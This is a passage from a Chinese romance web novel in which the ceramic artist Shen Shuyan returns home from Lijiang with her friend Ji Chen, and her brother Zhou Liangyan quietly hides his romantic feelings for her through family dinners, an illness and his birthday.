搞明白她的意思后,沈舒言无奈的笑出声:“什么呀,你误会了,这是我之前小学同学,后来去国外了,最近才回来。”
“啊?真的假的?”
“我骗你干嘛。”
林洁皱着眉头思考,过了快有一分钟才接着说:“我看没那么简单。”
“什么?你今天说话怎么听得我云里雾里的。”
“我说他没那么简单,绝对是喜欢你,我谈那么多次恋爱,我能不知道,姐当年暗恋和被暗恋可都是做过当事人的,一看一个准,保准喜欢你。”
此话一出,沈舒言知道,她显然是误会了什么。
际琛还算个不错的朋友,她不想让两人的关系变得尴尬,转身看了眼身旁的人,发现他正接电话,没注意到这边,才松了口气,“别瞎说,他是刚回来,一个人去丽江也不熟悉,找个熟人搭伴儿很正常,加上我妈妈和他妈妈又是朋友,所以才会跟我一起。”
罗家豪向林洁招手,示意她出租车已经停在路边叫她过去。
林洁举起手回应,边将手机往包里放边说,“你别不信,姐经验很多的,你瞧好了,不出三个月。”
“不出三个月什么?”
“到时候你就知道了。”
话说的很神秘,不等沈舒言继续追问,林洁就小跑到出租车旁,骆家豪已经帮她将车门打开,两人一起坐进后座。
车子刚启动,骆家豪伸手把林洁的包抱在怀里,问:“你在那儿嘀嘀咕咕的跟舒言说什么呢?”
林洁的脸上还是高深莫测的样子,“说她身边那朵桃花儿呢。”
“桃花?你是说际琛哦?”
“嗯哼,答对。你没发现他跟之前的你很像吗?总觉得自己伪装的很好,其实到处都是马脚。”
罗家豪抓了下头发,有点不好意思,“小洁~不要开我玩笑嘛,我当时明明隐藏的很好,不然你为什么那么久才知道。”
林洁拍了下他的大腿,“笨蛋,我当然是在逗你玩儿呀,你不知道你那时候聚餐偷偷坐在我身边的时候有多可爱,看得我更想逗你了。”
骆家豪:“啊!那个时候你就知道了!”
“当然喽,不然当时追我的人那么多,你以为你怎么能那么容易抢到那个位置。”
骆家豪点点头表示认同,林洁当时业务能力很强,项目里喜欢她的男生不止他一个。
过了几分钟他又问:“那舒言知道嘛?际琛喜欢她。”
林洁摇摇头,“不知道,不过很正常,你也知道舒言做陶艺的,心思很细腻,但是神奇的就是,她在感情这种事情上钝感力强到超乎你的想象。我记得上大学那会儿,我们专业有个帅哥追她,约她看电影,她每次都拒绝,而且不是敷衍的那种哦,是很认真的说自己要做课后作业,要出去找灵感,她就是觉得人家在耽误她的时间,完全想不到人家在追她这一层面。”
-
周良宴今天公司临时有事抽不开身,一个电话把李明哲喊出来。
李明哲也是太久没见沈舒言这个妹妹,没有丝毫迟疑,一口应允下来。
沈舒言看着林林洁她们那辆车开走,转身就望见不远处穿着皮衣戴墨镜的李明哲,一米八的身高,又专门做了发型,站在那儿着实惹人注意,而他丝毫感觉不到路人的目光,正卖力仰着脖子往出口这边瞅。
似乎是一直看不到沈舒言,从口袋掏出手机,应该是在发消息。
果不其然,沈舒言的手机叮铃响了好几声。
她解锁屏幕,点进微信。
李明哲:
【言言你出来没?】
【要不要我进去帮你拿行李?】
沈舒言回复:【我就在你正前方。】
消息刚发出,抬头就看到李明哲迈步往这边走,“言言!”
他嘴角扬起,兴冲冲地赶过来,接过沈舒言手上的行李箱,长手一把揽住她的肩膀,“好久不见了啊,沈大艺术家。”
说完就揽着沈舒言往前走,完全没注意到身旁还跟着一个人。
沈舒言停下脚步,无奈的扒拉掉自己肩上的胳膊:“明哲哥,上次我哥给我送东西的时候你不是也跟着,还不到半个月你说得跟半年没见一样,还有,你没发现我旁边还有人吗?”
李明哲转头一看,才发现沈舒言身后还跟一个人。
他往那边凑了凑,沈舒言下意识将脸往旁边闪,“赶紧把你那墨摘了吧,那么大的人都看不到。”
李明哲嘿嘿一笑,把墨镜扔进口袋里,问:“这是你朋友啊?”
“际叔叔家的儿子,才从国外回来。”
际琛往前走了几步,跟李明哲打招呼。
“哦~唐阿姨家的啊,就说怎么有点眼熟呢。”李明哲恍然大悟,他又问,“那你们是怎么在一起的?”
沈舒言:“啊?”
李明哲笑了声,“害,瞧我这嘴,我的意思是你们怎么一起回来?”
际琛回复:“我朋友比赛的时候受伤了,我不放心送他回家,他家也刚好是云南,我想回北城也没事儿,就跟着言言在丽江逛了几天。”
李明哲点头,“.....哦,这样,好吧。”
聊着天,三个人走出机场去停车区。
李明哲开了辆颜色十分扎眼的超跑过来,旁边的车都自觉与它拉开距离,生怕不小心剐蹭到它,产生不必要的麻烦。
将两人的行李箱安置好,坐上车。
李明哲随手把手机扔进一旁的卡槽里:“那我先送际琛回家?”
后座的际琛点头,“好,明哲哥你怎么方便怎么来。”
三十分钟后,李明哲的超跑从际家的别墅驶出。
沈舒言已经好久没回周家老宅,便让李明哲把她送到云鹤公馆。
两人一起进门,直到沈舒言今天要回来,付瑾华早早安排好用餐时间,等她回来时可以一起吃饭。
周家的厨师都是从星级酒店聘请过来的,做的食物色香味儿俱全。
李明哲走几步上前,忍住想拿起筷子吃一口的欲望,“你们家这厨子手艺是真不错,匀一个给我呗。”
沈舒言笑,“好啊,你去跟我妈说去,征求她的同意。”
李明哲瞅她一眼,“我哪有这个胆子啊,把你和你哥两个人的胆子都借给我我也不敢。再说了,这个家里谁最怕她呀言言,你还是不要在这儿五十步笑百步了。”
“我看你也挺怕的。”
声音从身后传来,沈舒言转过身去,叫了句,“哥。”
周良宴嗯了声,说:“妈妈特意嘱咐阿姨,今天做的都是你喜欢的菜。”
“哎哎哎,我可没有啊,虽然—。”李明哲还在犟。
付瑾华从书房出来,听到几个年轻人正在聊天,便问了句,“什么?”
李明哲话锋直转,笑着说:“婶儿,我这还说呢,就说好几天没见您了,今天来都没给您准备礼物,空手过来不好意思了。”
说完还走到付瑾华跟前帮她拉开椅子才回到自己的位置上。
付瑾华看了眼周良宴笑着说,“你要是能帮我多催催良宴,赶紧找个女朋友,让我省省心比什么礼物都好。你跟他从小一起长大,应该知道他喜欢什么类型的女孩子吧。”
李明哲心里想,这可太难了,还不如让我给您买礼物
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呢。
但他也没敢讲这些说出口,只道:“婶儿,我这身边认识的姑娘我怕您不满意呀,再说我要是介绍的不好怎么办。”
付瑾华回复:“不好的当然不可以,你也不能什么人都介绍给良宴认识。”
李明哲笑了下:“那您的要求是?”
付瑾华:“当然第一个要求是要门当户对,不然两个人没有什么共同话题也不会长久。”
说完看向周良宴,“我送过去的文件夹你是不是都没翻开过。”
周良宴顿了几秒才开口,“妈,我工作忙没时间看,您也别再让高卓远给我往办公室里送。”
付瑾华轻轻皱眉,“能花多长时间?我就不信你一天24小时抽不出十几分钟来。”
眼看着气氛不对,李明哲赶紧出来及时打断,“婶儿,饭都要凉了,咱先吃饭,我等会问帮您收拾他。”
沈舒言也跟着附和,小声说:“妈,我饿了。”
付瑾华这才罢休,“你们兄妹两个好久没回家了,这几天就住在家里陪陪我。好了,吃饭吧。”
沈舒言没说话,只点头。
一顿饭结束,李明哲驱车回家,沈舒言和周良宴也回到各自的卧室。
付瑾华则是在书房练字,这是她每天的习惯。
沈舒言今天坐飞机有些累,洗完澡就躺到床上,从枕边拿过手机,点开周良宴的聊天框。
他的回复看着没什么情绪:【嗯,注意保暖,不要感冒。】
冷不丁打了个哈切,怕被周良宴说中,她又往被子里缩了缩。
顺手点开自己发过去的短视频,又看到一片白茫茫中缓缓落下的雪花。
眼皮止不住的往下耸拉,视线聚焦在手机屏幕而后意识逐渐模糊。
在睡梦中,沈舒言感觉身上突然变得很冷,她将自己整个人埋在被子里,像裹粽子一样左右翻滚把两边的被子压在身下。
奈何并无任何作用,依旧很冷。
察觉到自己可能已经感冒时,是凌晨快三点,月光恬静皎洁,倾倒在地面上,如纱如水。
痛感从后脑勺扩散到太阳穴周边,脑袋被扯着一样,崩的紧紧的。
为了防止加重,沈舒言起身披上外套准备冲袋感冒冲剂。
走廊上灯光昏暗,到处都是静悄悄的,她尽量不让自己发出太大声音,从楼梯往下走到客厅。
可还未走到厨房,便看到门缝溢出微弱的光。
脚步停在外面,沈舒言正欲推门进去,门已经被里面的人拉开。
二人一个在门内,一个在门外,光线从周良宴身后投来,蔓延止她的脚下。
沈舒言穿着一身浅色睡衣,披在身上的外套也是素色,脸颊边泛着不正常的红晕,整个人看上去十分羸弱。
房里落针可闻几秒,她轻声喊了句,“哥。”
周良宴静默的望着面前的人,他的眼神始终没有离开她的脸。
沈舒言能感受到他的目光轻轻落在自己的脸颊上,她又喊了声哥,用比刚才大一点的音量。
视线对上他的,她的心跳在那一刻加速,想来应是感冒的缘故。
下一秒,对面的人有了反应,声音落进她的耳朵,“你感冒了?”
人一生病好像就会变得很脆弱,精神会随着身体上传来的疼痛愈发疲软。
沈舒言想起数月前那场病,那时候她觉得周良宴讨厌自己,所以尽管痛苦,也不想麻烦他。
在南城的那个晚上,尽管他的声音很小,她还是听到了他说得话。
她明了,什么讨厌,不过是自己的一场误会。
所以此刻,这个漆黑的夜里,所有人已经熟睡,世界安静的仿佛只剩下他们两个。
沈舒言垂下眼眸向前迈出一小步,从外套袖子里伸出手拉起周良宴的,轻轻附在自己泛着红晕的颊边,而后才抬起头望进他幽深的眼,小声说,“哥,你摸摸我的脸是不是很烫?”
24. secret
周良宴掌心的温度很冰,对于正处在感冒时期的沈舒言简直像是天然的降温袋,她下意识的像小猫一样用脸颊蹭着他的手给自己降温。
面前的人却像触电一般将手轻轻抽出垂在身侧,周良宴轻咳了声,嗓音有些喑哑,“是不是没注意好好保暖,忘了自己每次换季都会感冒吗?”
沈舒言替自己辩解,说到最后,声音越来越小,“我穿得挺厚的,就是洗完澡回了条微信没及时吹干头发,谁知道就......”
周良宴大脑有一瞬的空白,他的喉结滚动,垂在身侧的手一直虚握着,他太过矛盾,既贪婪的想要留住刚才的触感与温度,又怕自己引以为傲的克制与忍耐瞬息崩塌。
他嗯了声,转身往里走,抬手从柜子里拿出感冒冲剂,“怎么总是照顾不好自己。”
沈舒言跟上去,人一生病就变得软乎乎,身体上的痛苦让她流露出脆弱,下意识想寻求安慰。
她语气中夹杂着连她自己都没有察觉的撒娇意味,“哥,这不是有你嘛,你不是可以照顾我嘛。”
周良宴没说话,轻轻仰起下巴示意她坐在一旁的椅子上。
她乖乖坐好好,像小时候一样,等着他将一切都处理好放在自己面前。
房间里重新变得安静,只有搅拌棒与玻璃杯碰撞的声音。
冲剂晾凉,沈舒言闻到苦味儿就已经下意识皱起眉毛,她捏着鼻子,抬起手又放下,反复几次。
周良宴在一旁看着,知道她是怕苦,想起什么似得开口说:“言言,你等一会儿。”
沈舒言巴不得呢,她听话的放下杯子,看着他走出去。
等过了几分钟他再回来时,手上已经多了样东西,“吃点糖。”
沈舒言睁大眼睛,她记得哥哥从小就不喜欢吃糖,甚至连甜食都很少碰。
周良宴自然看出她严重的疑惑,开口解释,“公司员工结婚发的喜糖,下班时顺手放进车里了。”
说完将手中的一袋子糖放在桌子上,又从里面拿出一颗剥开糖纸,“喝完药吃一个就不苦了。”
沈舒言点头,闭上眼睛一口将杯子里的药灌进喉咙,然后放下杯子迅速伸手从周良宴的掌心接过糖塞进嘴里。
是水果硬糖,甜味儿在口腔里蔓延冲撞,终于将残留的苦冲淡一点。
周良宴拿起杯子走到洗手台清洗,“快去睡吧,不早了。”
“好,哥你也早点睡。”
“嗯。”
听着耳边的脚步声逐渐消失,周良宴长吁一口气,紧绷的身体慢慢放松,他仔仔细细的清洗手中的玻璃杯。
与她在一起的每分每秒,他都在克制,强压心中翻滚的情绪,他告诫自己,不能太贪心。
爱但不期待被爱,能够爱着她,已经是上天对他的恩赐。
-
幸好及时喝了药,早上起床时沈舒言感觉身体已经好了很多,不过因为熬夜,眼下还是浮出淡淡的青。
吃早饭时,周良宴不在,应该是早早就去了公司。
饭桌上付瑾华看她一眼,问:“昨晚没睡好?”
沈舒言摇摇头,“有点感冒了,身体不太舒服。”
“怎么会感冒,喝药了吗?”周明竹关切道。
“爸,没事儿,昨晚喝过药了,好多了。”
“那就好,如果还是不舒服就让你哥带你去医院看看,你这换季就感冒也是老毛病了,以后要多注意。”
“嗯。”
沈舒言安静的吃完饭,擦擦手,“妈爸,你们慢吃,我先上楼了。”
餐桌上就剩付瑾华周明竹夫妇,吃完后两人一起移步到客厅。
付瑾华平时爱好多,在家里爱插插花,公司不忙时,周明竹就坐在她旁边练毛笔字。
“你有空多催催良宴,你看他多大的人了,一点也不操心自己的婚姻大事,给他安排的相亲也不去。”
周明竹看着妻子,“你看你儿子像是劝劝就听得人吗?他大学毕业咱们就让他进云璟历练好接我的班,你看他听了吗?”
付瑾华叹气,“你身体一天不如一天,其他股东又都虎视眈眈盯着,再不让良宴抓点儿紧,以后云璟握在谁手里就真的不好说了。家里这事我一天就操心不完,言言那边也不知道有没有进展。”
周明竹笑呵呵,“言言我估计你不用操心了,你没看到老际家那儿子发的朋友圈吗?”
付瑾华闻言拿起手机,在看到朋友圈内容后才喜笑颜开,“看来这两个孩子处的还不错嘛,都一起出去旅游了,这样我也能放心了。”
她的手指来回滑动,而后返回聊天界面给好友唐淑玲发消息。
-
沈舒言回到房间眯了一会儿,醒来时才想起在丽江拍得照片还没发朋友圈。
她靠着床头,仔细翻看林洁发来的照片,最终挑挑拣拣发了六张。
三张风景照,两张自己单独的和四人的大合照。
发完起身喝药,吃了颗昨晚的水果糖,然后百无聊赖的拿着平板看泡沫剧。
等看完一集顺手拿起手机,才发现赵岚娜发来好几条消息,朋友圈也出现提醒红点。
她先点开赵岚娜的聊天框,一串串消息狂轰乱炸。
赵岚娜:【怎么回事儿?】
赵岚娜:【没听说你组团的朋友里有际琛啊?】
赵岚娜:【沈舒言你最好给我如实招来!】
赵岚娜:【啊啊啊啊啊啊啊啊啊啊啊啊啊】
沈舒言回复:【开始确实没有他,他刚好送朋友回家,就一起了。】
刚发完,电话打了进来。
摁下接通按键,那边很安静,一点声音也没有。
沈舒言看了眼屏幕,确定是在通话中,又将手机贴在耳边小声问:“娜娜,在听吗?”
那边同样很小声,“你们怎么一起去的?”
沈舒言疑惑,“就是他朋友刚好家离丽江挺近的,顺路跟我们一起。”
赵岚娜在电话那头小声嘀咕,“好心机哦。”
沈舒言不明所以,“什么什么?”
赵岚娜转移话题:“没什么,我还以为他一开始就跟你一起去的。咱们也好几天没见了,什么时候聚一下?”
两人约好时间,挂断电话。
刚想把手机放到桌头柜,又听到消息提示音。
际琛:【言言,你感冒了?】
沈舒言:【嗯,不过已经好很多,你怎么知道的?】
那边几乎是秒回。
际琛:【听付阿姨说的,我有事想请你帮忙,能去找你吗?】
沈舒言:【行,刚好今天我请你吃饭。】
没过几分钟,沈舒言听到楼下传来声音,应该际琛在跟付瑾华打招呼。
她收拾好后下楼,和际琛去书房商量事情,一个小时后才出来。
际琛说有事情找沈舒言帮忙不过是想见她的借口,他没想着让她请客。
可是去餐厅的路上又拗不过她,最后只能跟着她的手机导航来到一家私房菜馆。
沈舒言昨晚没睡好,这会儿靠在椅背上有些迷糊,车子停好后打了个哈欠下车。
来时已经提前预约好临窗的包间,餐厅环境复古雅致,格外有意境。
菜单上来,沈舒言递给际琛,“我请客,你点。”
知道自己这次肯定也是拗不过,际琛没推脱,顺从的接过菜单。
等上餐的时间里二人聊天,沈舒言想起来自己头一天在丽江
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买的纪念品,从包里拿出来递给际琛。
“这是?”际琛双手接过。
沈舒言回复:“你第一天没来,这是我跟林洁出去逛时买的纪念品,我这里有好几个。”
际琛点头,“谢谢。”
沈舒言摇头,“我才要谢谢你,我的工作室那么快有第一笔订单,也因为你和那群小伙伴帮忙宣传。”
际琛小心的将纪念品收好,“你的手艺好才是关键,不然任凭我们怎么宣传都没用。”
说话间,服务员士进来上了两份甜点,说是店里研发的新品送给顾客品尝。
沈舒言用勺子挖了一小口送进嘴里,甜而不腻,是她喜欢的味道。
几分钟后,菜品也一道道送上来,二人边吃边聊,大多都是际琛在说,说他前段时间的几场比赛,同时也邀请沈舒言去现场观赛。
沈舒言想着这段时间不忙,应承下来,
吃到一半,际琛去了趟卫生间,回来时跟她说:“我看到良宴哥了。”
沈舒言正在小心的挑着鱼刺,等刺都挑完后将鱼肉送进嘴里,可还是有漏网之鱼,鱼刺不小心扎到口腔内壁,她皱着眉将它吐出来。
擦干净嘴巴后才抬眼看际琛:“我哥也在这儿?”
际琛点头,“跟一个女孩子,我看着有些眼熟,不过一时想不起来在哪儿见过。”
“可能谈生意吧。”沈舒言把注意力放在事物上。
吃完饭后甜点,际琛去前台结账,沈舒言随手从前台拿了块巧克力,咬了一小口后发现口腔爆满酒香,酒香浓郁还带着一点巧克力的苦味儿,看了眼包装才发现是酒心巧克力,味道还不错,她默默记下名字。
等际琛结完账,两人一同往外走,在餐厅门口看到熟悉的背影。
夜色浓稠,门头下的顶灯散发着暖调柔光,周良宴就站在的灯光下,身形被勾勒的更加明显。
际琛一眼认出,喊了声:“良宴哥。”
周良宴有健身的习惯,站在那里身姿挺拔,背部肌肉线条分明流畅,裁剪得体的西装勾勒出腰身。
转过头来,被光晕勾勒的五官更加立体深邃,看到面前的人,镜片下的幽深的眼眸却笼罩一层暗色。
他视线从对面两人身上扫过,沈舒言穿着棕色系风衣外套,和际琛站在一边,俊男靓女,倒是般配。
眼看着周良宴不说话,沈舒言走上前几步:“哥你怎么在这儿?”
周良宴:“你喝酒了?”
答非所问。
沈舒言继续说:“我先问你的。”
周良宴率先妥协,“见个朋友,该你了。”
沈舒言听到回答愣了几秒,她压下心头莫名的情绪后轻轻摇头,手伸进口袋摸索,几秒后伸出手:“是酒心巧克力,要尝尝吗?”
几秒后又反应过来,“不对,你要开车。”
周良宴却抬手接过,指尖从她掌心轻轻掠过,像一片羽毛,划过最柔软的部分。
她看着他将巧克力装进口袋,没再继续问。
际琛和沈舒言站在并排,“良宴哥,现在回去吗?”
周良宴摇头,“你们先走吧,路上注意安全。”
二人经过,他忽然喊了声她的名字,“言言,早点回家。”
沈舒言停下脚步,回应,“知道了哥。”
周良宴轻轻点头,两人都侧着身,呼吸间气息交缠,他仿佛能闻到他唇间的酒香,他盯着她红润的唇:“回家记得喝药。”
“好,知道了。”沈舒言点头。
微风轻晃,他看着二人离开,车一点点消失在视线内,他面色渐淡。
给李明哲打了通电话后,启动车子离开,在去的路上,周良宴少见的超了几辆车。
25. secret
沈舒言没让际琛送自己回家。
她临时去了赵岚娜的学校一趟把带给她的纪念品送过去。
两人好几天没见,聊了几句觉得不尽兴,又在学校的操场上逛了好几圈,最后还是因为温度低实在有些冷,两人才分开。
沈舒言把赵岚娜送到宿舍,回家已经是晚上八点多。
从餐馆出来时服务员见沈舒言喜欢那个口味儿的巧克力就抓了一大把递给她。
下了出租后慢悠悠的往家走,顺手拆了几颗扔进嘴里。
快到门口,没着急进屋,想起什么似得走到灌木丛后面低头在包里翻找。
十几秒后从包包的隔层里拿出一支口喷喷了几下,确保自己说话时不会被闻到酒味。
走到家门口,看周良宴的车不在,估摸着他还没回来。
沈舒言进门换鞋,叫了声:“妈。”
付瑾华正在看报纸,听到声音,应了一声,放下手中的报纸。
她往沈舒言身后瞅了一眼:“际琛没过来?”
沈舒言:“我回来时去了娜娜学校一趟,让他先回家了,我爸呢?”
“跟你李叔叔打高尔夫去了。”说着看了眼时间,“应该快回来了。”
沈舒言点头,“妈,那我先上楼了。”
付瑾华没说话,一直看着她的脸,微微皱眉:“你的脸怎么有点红,喝酒了?”
沈舒言向前走的动作顿住,她没办法像对周良宴一样对母亲坦白。
因为她知道哥哥会给她百分之一百的信任,而母亲则是怀疑、追问甚至变本加厉的强制管教。
为了避免不必要的争吵与咄咄逼人的刨根问底,撒谎便成了本能反应。
“没有,可能刚才出租车上暖气温度比较高。”她用手摸了下脸。
付瑾华继续拿起报纸,没看她:“嗯,长大也不要忘了家里的规矩,烟酒不能进家门。”
沈舒言上楼关上房门,坐在床上给赵岚娜发了条已经到家的微信。
周家二楼就沈舒言和周良宴在住,此时周良宴还没回来,整个楼层空旷而寂静。
她把手机熄屏后扔在一边准备闭着眼睛躺上十几分钟,没想到睡过了头,睁眼时已经是凌晨。
房间只有墙上钟表里的指针发出微弱声响,沈舒言揉了下眼睛,起身从衣柜拿了件睡衣去浴室洗澡。
热水冲过身体,白皙的肌肤微微泛红,水珠在空中氤氲,白色的雾气弥漫使得镜面抚上一层轻纱,让人看不真切。
她冲掉身上的泡沫,裹上浴巾回到房间,坐在化妆镜前,视线落在右眼旁一道月牙状的疤痕。
因为及时治疗加上周良宴不厌其烦地寻找祛疤药膏,所以疤痕很淡,不仔细的话连她自己都看不太出来。
手抚上眼角,沈舒言看着镜中的自己出神。
-
她十五岁那年,学校举办120周年晚会,那时候的沈舒言就已经长得非常乖巧,加上成绩又好,深得老师喜欢,便叫她主持校庆活动。
晚会开始时一切正常,到最后收尾却发生意外。
沈舒言报完幕拿着提词卡照常往台下走时,在看到观众席的第一排的周良宴时与他对视一秒。
母亲和父亲太忙,没时间过来,哥哥又在上课,也抽不开身,沈舒言以为没有人过来,她眼中划过惊喜,转瞬即逝。
脚下迈出步伐的速度慢了几秒,沈舒言提着裙摆继续往舞台下面走。
砰一
头顶的玻璃吊灯突然坠落。
完全来不急反应,她下意识闭上眼睛,回过神来时浑身已经没有知觉,仿佛被钉在地上僵在原地,耳朵听不到任何声音,舞台下已经乱作一团。
身子已经麻了,她感觉到有液体正顺着颊旁往下流。
终于慢慢有了知觉,仿佛机器人打开开关,周围的一切都扑面而来。
脚步声,惊呼声,她仔细听着,发觉有人正焦急的喊她的名字,想回应却怎么也张不开嘴巴,她已经失去了对身体的控制能力。
直到手腕被人拉住,周良宴闯进她的视线,他的脸已经毫无血色,眼睛牢牢看着她。
看到熟悉的人,紧绷的身体放松,下一秒便失去意识,醒来时睁开眼,一切都是晃眼的白。
再然后看到了趴在床边的周良宴,她的手被他的轻轻拉住。
医生被周良宴叫进来时连连说她运气好。
说那玻璃碎片再差一点就要崩进她的眼睛,也就是再差几厘米她就要变成再也看不到光亮的人。
医生走后,一旁的周良宴不说话,他眼下都是乌青,嘴唇也已经干涩起皮,看上去同样憔悴,
付瑾华和周明竹工作忙,几天过来一次。
周良宴则是向老师请了长假,日日夜夜待在医院,晚上就睡在病房里的小沙发上。
沈舒言在医院待了小半个月才出院,拆掉纱布后,眼角的疤还很明显。
周良宴在家里时便每天帮妹妹涂药,一次不落。
也多亏有他的精心养护,沈舒言眼角边那道月牙状的疤痕才慢慢变淡。
付瑾华信佛,事后就领着家人去了寺庙,给兄妹二人都求了平安扣,以求平安顺遂。
周良宴对沈舒言也呵护更甚,他永远忘不了在台下看到那个场景时自己的无措。
-
洗完澡吹完头发上床睡觉,可能因为吃了太多巧克力,沈舒言半夜被渴醒。
床头柜上的玻璃杯里水只有一个杯底。
她想起自己昨晚忘记倒水。
拿起杯子出门。
却在门口撞在一个熟悉的身影上,手腕被一把抓住,水杯里的水弄湿那人的衬衫。
沈舒言知道那是谁,轻声喊了句,“哥。”
周良宴没说话,他眼睛眯着,脚下好像有些站不稳。
廊灯昏黄,男人的气息随着空气一下扑过来在两人中间流转,然后慢悠悠朝着她身体的那个方向流,如顶上瀑布般的光线涌入,甚至带着些横冲直撞。
再然后就是热,她能感觉到周良宴起伏的胸腔,源源不断的热量将她包裹围住,不留一丝空隙。
她抬眼撞进他的眼睛,时间仿佛定格,沈舒言这才发现,两人的脸隔得极近,呼吸都悄无声息的交缠在一起。
好像只要再动,两人的唇就能相互贴在一起,整个人都顿住了,周良宴也定定停着。
沈舒言从未与兄长有如此近的距离,她将手伏在他的胸膛想往外推,又在感受到猛烈的心脏跳动后惊得又放下垂在身侧。
昏黄的灯洋洋洒洒的笼罩在两人身上。
周良宴本身性格就沉稳内敛,喝了酒后也很闷,不爱说话,这是沈舒言一直都知道的,所以她也不指望他能说出什么,只能引导着去问。
她抬头重新看向他的眼睛:“哥,你喝酒了?”
面前的人点头。
她又问:“出什么事了?”
依旧是摇头。
她顿了几秒,微微皱眉,接着问:“哥,你不开心吗?”
周良宴望着她,沉默半晌,才开口:“没有,只是喝醉了。”
他对她,从来不敢吐露真话,那些炙热的无法用言语表达的真心。
沈舒言轻轻点头,小声说:“我今天吃了酒心糖差点被妈妈发现了,还好你回来晚,不然真的死定了,你先回房间,我帮
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你倒杯水。”
周良宴盯着她看了几秒,忽然倾身,手掌抚上她的脸颊,温热修长的手指在她眼角旁的月牙儿上慢慢摩挲。
他手掌的力度太轻,近乎爱惜。
沈舒言将脑袋往旁边歪了下,“哥,有点儿痒。”
周良宴反应过来似的停下动作,“不早了,回去睡吧,我房间有水。”
沈舒言:“好,你也早点睡。”
她看着周良宴的卧室门关上,才回到自己的房间,这么一折腾,也不觉得渴了,便重新躺回床上睡觉。
-
最近这几天沈舒言一直不在家,清北美院联合举办了一场陶瓷艺术展,邀请她参加,每天要忙到很晚。
为了不打扰父母休息,她都是直接回自己那套公寓住。
直到快月底的时候,沈舒言一大早便驱车回家,周良宴的车就停在门口。
沈舒言一进门就察觉到气氛不太一样,总感觉自己忘记了什么事情。
周良宴坐在餐厅里的大理石旁低头吃东西。
付瑾华慈爱的看着他,就连周明竹也罕见的从公司赶回来坐在旁边的沙发上。
听到开门声,周良宴往这头看了一眼,视线在沈舒言身上停留一秒,又淡淡的收回去。
周明竹站起身招呼她过来,“言言回来啦,快过来吃饭,就等你了。”
沈舒言应了一声。
付瑾华:“还没吃饭吧,快过来我们一起沾沾寿星的光,怕你忘了我还准备给你打电话呢,你哥说不用,看来我也是瞎操心,你们两根亲兄妹一样,怎么可能会忘。”
一旁的周良宴在听到“亲兄妹”着三个字时,手上的动作一顿,又瞬间恢复如常。
沈舒言低头换鞋子,这才想起自己将什么事情忘了。
她呼出一口气,暗自懊恼。
抬眼时仿佛看到周良宴又看了她一眼,眼里没有什么没有情绪。
沈舒言换了拖鞋走去餐厅,在周良宴对面坐下。
一家人落座,阿姨将其他菜陆陆续续端上桌。
付瑾华又叫阿姨去盛两碗汤过来。
她微笑着看沈舒言,又看周良宴,目光在两人身上流连:“时间真是快,一眨眼,你们两个都长这么大了。”
沈舒言接过阿姨递过来的碗,放在桌子上。
付瑾华继续说:“我现在还记得怀你哥哥的时候呢,那时候他总是爱踢我肚子,实在是折腾人。”
沈舒言和周良宴低下头喝汤。
“幸好这小子长大后倒是挺让人省心的,我和你们爸爸忙,他也没有因为没人管在外面惹事,还能顺带着照顾妹妹,咱们这片儿的人,谁见了不夸一句真是好孩子——”
许是因为触景生情,付瑾华今天的话比以往多很多,沈舒言和周良宴都静静听着。
吃完饭,周良宴上楼换衣服,他等会儿还要去公司。
沈舒言也跟着上去回到房间,从衣柜里取出一个纸袋,去周良宴的门口敲门。
“进。”
沈舒言推门进去,周良宴正站在落地镜前穿衣服,他已经换好一件深蓝色衬衫,正在整理袖口。
整个人看上去高挑挺拔,他脸上没有表情,显得更加清冷疏离。
沈舒言走上前几步,把袋子递给他。
周良宴看她几秒,才伸手接过吗“我以为你忘了。”
沈舒言拨浪鼓一样,连忙晃脑袋,“怎么可能!我可是早早就准备好了,而且跑了很多家店才选中这一条。”
周良宴没有接话,整理好衬衫后转身,淡淡的嗓音,“没有别的话要说?”
“哥,生日快乐,祝你心想事情。”
26. secret
沈舒言和赵岚娜上次没聊尽兴,两人又约了时间见面吃饭。
吃饭的地方就在学校附近,是一家新开的火锅店。
两人边吃边聊,席间赵岚娜约沈舒言看电影,但不是在影院。
她喜欢看电影,但不喜欢去影院,尤其过段时间气温更冷,她实在不想出门。
想来想去,只有沈舒言的工作室合适。 、
到时候她们两个可以一边吃着炸鸡喝小酒,一边盖着厚厚的毛毯窝在沙发上。
沈舒言正在与碗里的虾作斗争,眼睛都没离开碗,就已经开始点头。
吃完饭后,她开车送赵岚娜回学校,然后才回工作室。
刚从车上下来,关上车门往门口走,忽然听到旁边传出声音,“言言,你回来啦!”
沈舒言被冷不丁的声音吓得顿住脚步,她有些近视,眯着眼看过去,“.......际琛?”
园区的的街灯已经依次亮起,月亮也高挂在上空,门口望着她的那人眼睛很亮,嘴角也带着浅笑,除了际琛还能有谁。
“你在等我吗?来多久了?”
“没多久,刚过来。”
“怎么也不提前跟我说一下,我就早点回来了。”
沈舒言从包里拿了钥匙开门,摁下门旁边的电灯开关,屋里瞬间亮堂起来,她转头迎际琛进来。
借着光看过去,际琛穿了件浅灰色的卫衣,背着个黑色的双肩包,自己上次送出的礼物就挂在拉链处。
她将挎包放在桌面上,问:“是来问上次说是茶具的制作进度嘛?”
际琛摇头,“不急,我是刚从外地比赛回来,刚好路过。”
他们两个的工作室距离是比较近,但沈舒言感觉也并没有很顺路,况且自己的房子在街道更深处一点。
她没多想,随口提了句:“比赛成绩怎么样?”
“还不错,小组第一,就等过几天的总决赛了。”
“这么厉害,恭喜你呀。”
际琛挑眉,嘴角笑意更甚,“谢谢,承你吉言,到时候开庆功派对你要来哦。”
“好,一定过去。”
沈舒言去一旁拆了箱矿泉水倒进烧水壶里烧水,看着液晶屏幕上的数字到了合适的温度后倒了一杯水递给际琛。
际琛接过喝了几口放在茶几上,“我妈这几天老跟我说还就没见你了。”
“好像是很久没见唐阿姨了,这几天我抽空去看看阿姨。”沈舒言坐在一旁的单人沙发上,“决赛在什么时候?”
“大概还有小半个月吧。”
“嗯,那应该来得及。”
“什么?”
“你定制的那套茶具,也快了,想着比完赛刚好带给你。”
“害,没事,我那个不着急。”际琛摆摆手,转头问她,“那你到时候有时间吗?”
知道他是问决赛那天,沈舒言拿出手机看日历,“如果这几天没有订单的话,应该是有时间的。”
“那刚好,我过几天把票给你送过来,我可记得你前段时间说要在现场给我加油的。”
“我记着呢,放心。”沈舒言拍拍胸脯。
忽然,还算安静的房间里传来咕噜噜的声音。
沈舒言看向际琛,忍不住笑,“你还没吃饭啊?”
际琛不好意思的抓了把头发,“.......还没有呢,要不我们出去吃个饭。”
“我刚跟娜娜吃完饭回来,不过刚好也有点想喝可乐,我点个外卖吧。”
